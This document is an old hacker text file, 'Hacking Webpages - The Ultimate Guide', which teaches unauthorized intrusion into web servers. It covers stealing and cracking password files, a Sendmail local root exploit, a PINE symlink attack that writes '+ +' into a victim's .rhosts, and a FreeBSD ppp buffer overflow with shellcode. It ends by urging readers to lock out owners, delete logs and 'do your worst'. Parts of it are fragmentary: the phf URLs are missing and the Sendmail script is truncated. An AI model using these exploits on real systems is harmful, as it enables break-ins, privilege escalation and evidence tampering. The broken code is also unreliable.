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Hacking Webpages - The Ultimate Guide

Hacking Webpages
The Ultimate Guide
By Virtual Circuit and Psychotic

Well Psychotic wrote one of the most helpful unix text files in cyberspace
but with the mail that we recieved after the release of our famous 36 page
Unix Bible we realised that unix isn't for everybody so we decided that we
should write on another aspect of hacking..... Virtual Circuit and
Psychotic is proud to release, "Hacking Webpages With a few Other
Techniques."  We will discuss a few various ways of hacking webpages and
getting root.  We are also going to interview and question other REAL
hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.

ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password.  This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:

smtp:x:0:0:mail daemon user:/:
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.

Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it. 

Cracking a password file isn't as complicated as it would seem, although
the files vary from system to system. 1.The first step that you would take
is to download or copy the file. 2. The second step is to find a password
cracker and a dictionary maker. Although it's nearly impossible to find a
good cracker there are a few ok ones out there. I recomend that you look
for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file...  When you start a
cracking prog you will be asked to find the the password file. That's where
a dictionary maker comes in. You can download one from nearly every hacker
page on the net.  A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and
numeric letters may also be added) .  We will be releasing our pasword file
to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
As far as we know it will be one of the largest in circulation. 3. You
then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the phf I
decided to include it.

The phf technique is by far the easiest way of getting a password
file(although it doesn't work 95% of the time). But to do the phf all you
do is open a browser and type in the following link: 


You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:


and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits 

Well exploits are the best way of hacking webpages but they are also more
complicated then hacking through ftp or using the phf. Before you can setup
an exploit you must first have a telnet proggie, there are many different
clients you can just do a netsearch and find everything you need. It's best
to get an account with your target(if possible) and view the glitches from
the inside out. Exploits expose errors or bugs in systems and usually allow
you to gain root access. There are many different exploits around and you
can view each seperately. I'm going to list a few below but the list of
exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you
set it up:

cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
cat << _EOF_ >/tmp/spawnfish.c
cat << _EOF_ >/tmp/smtpd.c
   setuid(0); setgid(0); 
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."

and now on to another exploit. I'm going to display the pine exploit
through linux. By watching the process table with ps to see which users are
running PINE,  one can then do an ls in /tmp/ to gather the lockfile names
for each user.  Watching the process table once again will now reveal when
each user quits PINE or runs out of unread messages in their INBOX,
effectively deleting the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for
a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file
with PINE's process id as its contents.  One may now simply do an echo "+
+" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim
while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I'm going to show.
  Exploitation script for the ppp vulnerbility as described by no one to
  date, this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with
  the numbers if it doesnt work. This is how you set it up:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE     156     /* size of the bufer to overflow */

#define OFFSET          -290    /* number of bytes to jump after the start
                                   of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
        char *buf = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */
        int i,j;

        buf = malloc(4096);

        /* fill start of bufer with nops */

        i = BUFFER_SIZE-strlen(execshell);

        memset(buf, 0x90, i);
        ptr = buf + i;

        /* place exploit code into the buffer */

        for(i = 0; i < strlen(execshell); i++) 
                *ptr++ = execshell[i];

        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;

        ptr = (char *)addr_ptr;
        *ptr = 0;

        setenv("HOME", buf, 1);

        execl("/usr/sbin/ppp", "ppp", NULL);

Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd  and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.


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